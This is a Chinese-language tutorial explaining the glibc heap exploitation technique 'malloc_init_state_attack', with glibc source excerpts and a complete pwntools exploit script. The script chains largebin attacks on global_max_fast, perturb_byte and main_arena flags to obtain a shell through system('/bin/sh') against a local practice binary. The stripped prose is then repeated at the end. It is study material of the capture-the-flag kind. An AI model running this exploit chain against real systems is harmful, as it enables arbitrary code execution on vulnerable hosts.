malloc_init_state_attack
字数 1408 2025-08-22 12:22:48

malloc_init_state_attack 攻击技术详解

1. 技术背景

malloc_init_state_attack 是一种针对 glibc 堆管理器的攻击技术,主要利用 malloc_consolidatemalloc_init_state 函数的特性来实现任意地址分配。

2. 核心原理

2.1 malloc_consolidate 函数

malloc_consolidate 是 glibc 中用于管理堆内存分配的重要函数,主要作用:

  • 合并释放的内存块以减少碎片化
  • 在 malloc 和 free 操作中起重要作用

关键逻辑:

if (get_max_fast() != 0) {  // global_max_fast不为0,表示ptmalloc已经初始化
    // ...
} else {  // 如果global_max_fast为0
    malloc_init_state(av);
    check_malloc_state(av);  // 非debug模式下该宏定义为空
}

2.2 malloc_init_state 函数

malloc_init_state 是 glibc 中 malloc 的内部初始化函数,主要功能:

  • 设置 malloc 子系统的初始状态
  • 初始化分配器使用的各类数据结构
  • 初始化分配控制变量和内存池

关键行为:

static void malloc_init_state(mstate av) {
    // 初始化所有bins
    for (i = 1; i < NBINS; ++i) {
        bin = bin_at(av, i);
        bin->fd = bin->bk = bin;
    }
    
    if (av == &main_arena)
        set_max_fast(DEFAULT_MXFAST);  // 设置fastbin中最大chunk大小
        
    av->flags |= FASTCHUNKS_BIT;  // 标识此时分配区无fastbin
    av->top = initial_top(av);    // 关键点:将top chunk初始化为unsort chunk
}

其中 initial_top(av) 定义为:

#define initial_top(M) (unsorted_chunks(M))
#define unsorted_chunks(M) (bin_at(M, 1))
#define bin_at(m, i) (mbinptr)(((char *)&((m)->bins[((i)-1)*2])) - offsetof(struct malloc_chunk, fd))

此时 top chunk 的地址为 &av->bins[0] - 0x10,且 size 为之前的 last_remainder 的值(通常很大),通过不断 malloc 可以分配到 hook 指针。

注意:glibc-2.27 开始 malloc_consolidate 不再调用 malloc_init_state,该方法失效。

3. 攻击步骤详解

3.1 设置 last_remainder

需要将 last_remainder 指向一个 chunk 地址,使其包含一个大值:

  1. 申请两个堆块:
add(0, 0x200)
add(1, 0x200)  # 防止free(0)时与top chunk合并
  1. 释放并重新申请:
free(0)
add(0, 0x100)  # 触发切割操作

关键源码逻辑(当从 smallbin 切割时):

if (in_smallbin_range(nb) && 
    bck == unsorted_chunks(av) && 
    victim == av->last_remainder && 
    (unsigned long)(size) > (unsigned long)(nb + MINSIZE)) {
    /* split and reattach remainder */
    remainder_size = size - nb;
    remainder = chunk_at_offset(victim, nb);
    unsorted_chunks(av)->bk = unsorted_chunks(av)->fd = remainder;
    av->last_remainder = remainder;  // 关键修改
    remainder->bk = remainder->fd = unsorted_chunks(av);
    // ...
}
  1. 清理堆块:
free(0)
free(1)

3.2 修改 global_max_fast 为 0

利用 largebin attack 将 global_max_fast 写 0:

  1. 布局堆块并泄露 libc 地址:
add(0, 0x428)
add(1, 0x10)
add(2, 0x418)
add(3, 0x10)
free(0)
show(0)
libc.address = u64(io.recvuntil(b'\x7F')[-6:].ljust(8, b'\x00')) - 0x39bb78
  1. 执行 largebin attack:
add(10, 0x500)
edit(0, p64(0)*3 + p64(libc.sym['global_max_fast'] - 0x20 - 6))
free(2)
add(10, 0x500)

利用原理:利用地址高位两个字节的 00 来覆盖 global_max_fast 的默认值 0x80。

3.3 处理 perturb_byte 问题

alloc_perturb 函数会在分配时修改内存内容:

static void alloc_perturb(char *p, size_t n) {
    if (__glibc_unlikely(perturb_byte))
        memset(p, perturb_byte ^ 0xff, n);
}

需要通过多次 largebin attack 将 perturb_byte 清零:

for i in range(4):
    add(2, 0x418)
    edit(0, p64(0)*3 + p64(libc.sym['global_max_fast'] - 0x20 - 7 - i))
    free(2)
    add(10, 0x500)
    # 恢复堆块状态
    edit(0, p64(heap_base + 0x450) + p64(libc.address + 0x39bf68) + p64(heap_base + 0x450))
    edit(2, p64(libc.address + 0x39bf68) + p64(heap_base)*3)

3.4 修改 main_arena 的 flags

需要将 main_arena 的 flags 置 0 才能触发 malloc_consolidate

add(2, 0x418)
edit(0, p64(0)*3 + p64(libc.sym['main_arena'] + 4 - 0x20 - 6))
free(2)
add(10, 0x500)

3.5 触发 malloc_init_state

申请大堆块触发攻击:

add(10, 0x2130 - 0x510 - 0x10)  # 精心计算的大小

3.6 获取控制权

现在可以分配到关键地址并修改 hook:

add(0, 0x500)
edit(0, p64(libc.sym['system']))
edit(10, '/bin/sh')
free(10)  # 触发system("/bin/sh")

4. 完整利用代码

from pwn import *

context(log_level="debug", arch="amd64", os="linux")
elf = ELF("./pwn")
libc = ELF("libc.so.6")

io = process(["/home/gets/pwn/study/heap/malloc_init_state_attack/ld-linux-x86-64.so.2", "./pwn"],
             env={"LD_PRELOAD": "/home/gets/pwn/study/heap/malloc_init_state_attack/libc.so.6"})

def add(index, size):
    io.sendafter("choice:", "1")
    io.sendafter("index:", str(index))
    io.sendafter("size:", str(size))

def free(index):
    io.sendafter("choice:", "2")
    io.sendafter("index:", str(index))

def edit(index, content):
    io.sendafter("choice:", "3")
    io.sendafter("index:", str(index))
    io.sendafter("length:", str(len(content)))
    io.sendafter("content:", content)

def show(index):
    io.sendafter("choice:", "4")
    io.sendafter("index:", str(index))

# 设置last_remainder
add(0, 0x200)
add(1, 0x200)
free(0)
add(0, 0x100)
free(0)
free(1)

# 泄露libc
add(0, 0x428)
add(1, 0x10)
add(2, 0x418)
add(3, 0x10)
free(0)
show(0)
libc.address = u64(io.recvuntil(b"\x7F")[-6:].ljust(8, b"\x00")) - 0x39BB78

# largebin attack修改global_max_fast
add(10, 0x500)
edit(0, p64(0)*3 + p64(libc.sym["global_max_fast"] - 0x20 - 6))
free(2)
add(10, 0x500)

# 泄露heap
show(0)
heap_base = u64(io.recvuntil(b"\x55\x55")[-6:].ljust(8, b"\x00")) - 0x450

# 恢复堆块状态
edit(0, p64(heap_base + 0x450) + p64(libc.address + 0x39BF68) + p64(heap_base + 0x450))
edit(2, p64(libc.address + 0x39BF68) + p64(heap_base)*3)

# 多次largebin attack清零perturb_byte
for i in range(4):
    add(2, 0x418)
    edit(0, p64(0)*3 + p64(libc.sym["global_max_fast"] - 0x20 - 7 - i))
    free(2)
    add(10, 0x500)
    edit(0, p64(heap_base + 0x450) + p64(libc.address + 0x39BF68) + p64(heap_base + 0x450))
    edit(2, p64(libc.address + 0x39BF68) + p64(heap_base)*3)

# 修改main_arena flags
add(2, 0x418)
edit(0, p64(0)*3 + p64(libc.sym["main_arena"] + 4 - 0x20 - 6))
free(2)
add(10, 0x500)
edit(0, p64(heap_base + 0x450) + p64(libc.address + 0x39BF68) + p64(heap_base + 0x450))
edit(2, p64(libc.address + 0x39BF68) + p64(heap_base)*3)

# 触发malloc_init_state
add(10, 0x2130 - 0x510 - 0x10)

# 获取控制权
add(0, 0x500)
edit(0, p64(libc.sym['system']))
edit(10, '/bin/sh')
free(10)

io.interactive()

5. 防御措施

  1. glibc-2.27 及以上版本已修复此问题
  2. 启用堆完整性检查
  3. 使用最新的安全补丁

6. 总结

malloc_init_state_attack 是一种精巧的堆利用技术,通过:

  1. 控制 last_remainder
  2. 修改 global_max_fast 为 0
  3. 触发 malloc_init_state
  4. 利用修改后的 top chunk 指针实现任意地址分配

虽然该技术在较新版本的 glibc 中已失效,但理解其原理对于研究堆利用技术仍有重要意义。

malloc_ init_ state_ attack 攻击技术详解 1. 技术背景 malloc_init_state_attack 是一种针对 glibc 堆管理器的攻击技术,主要利用 malloc_consolidate 和 malloc_init_state 函数的特性来实现任意地址分配。 2. 核心原理 2.1 malloc_ consolidate 函数 malloc_consolidate 是 glibc 中用于管理堆内存分配的重要函数,主要作用: 合并释放的内存块以减少碎片化 在 malloc 和 free 操作中起重要作用 关键逻辑: 2.2 malloc_ init_ state 函数 malloc_init_state 是 glibc 中 malloc 的内部初始化函数,主要功能: 设置 malloc 子系统的初始状态 初始化分配器使用的各类数据结构 初始化分配控制变量和内存池 关键行为: 其中 initial_top(av) 定义为: 此时 top chunk 的地址为 &av->bins[0] - 0x10 ,且 size 为之前的 last_remainder 的值(通常很大),通过不断 malloc 可以分配到 hook 指针。 注意 :glibc-2.27 开始 malloc_consolidate 不再调用 malloc_init_state ,该方法失效。 3. 攻击步骤详解 3.1 设置 last_ remainder 需要将 last_remainder 指向一个 chunk 地址,使其包含一个大值: 申请两个堆块: 释放并重新申请: 关键源码逻辑(当从 smallbin 切割时): 清理堆块: 3.2 修改 global_ max_ fast 为 0 利用 largebin attack 将 global_max_fast 写 0: 布局堆块并泄露 libc 地址: 执行 largebin attack: 利用原理:利用地址高位两个字节的 00 来覆盖 global_max_fast 的默认值 0x80。 3.3 处理 perturb_ byte 问题 alloc_perturb 函数会在分配时修改内存内容: 需要通过多次 largebin attack 将 perturb_byte 清零: 3.4 修改 main_ arena 的 flags 需要将 main_arena 的 flags 置 0 才能触发 malloc_consolidate : 3.5 触发 malloc_ init_ state 申请大堆块触发攻击: 3.6 获取控制权 现在可以分配到关键地址并修改 hook: 4. 完整利用代码 5. 防御措施 glibc-2.27 及以上版本已修复此问题 启用堆完整性检查 使用最新的安全补丁 6. 总结 malloc_init_state_attack 是一种精巧的堆利用技术,通过: 控制 last_remainder 修改 global_max_fast 为 0 触发 malloc_init_state 利用修改后的 top chunk 指针实现任意地址分配 虽然该技术在较新版本的 glibc 中已失效,但理解其原理对于研究堆利用技术仍有重要意义。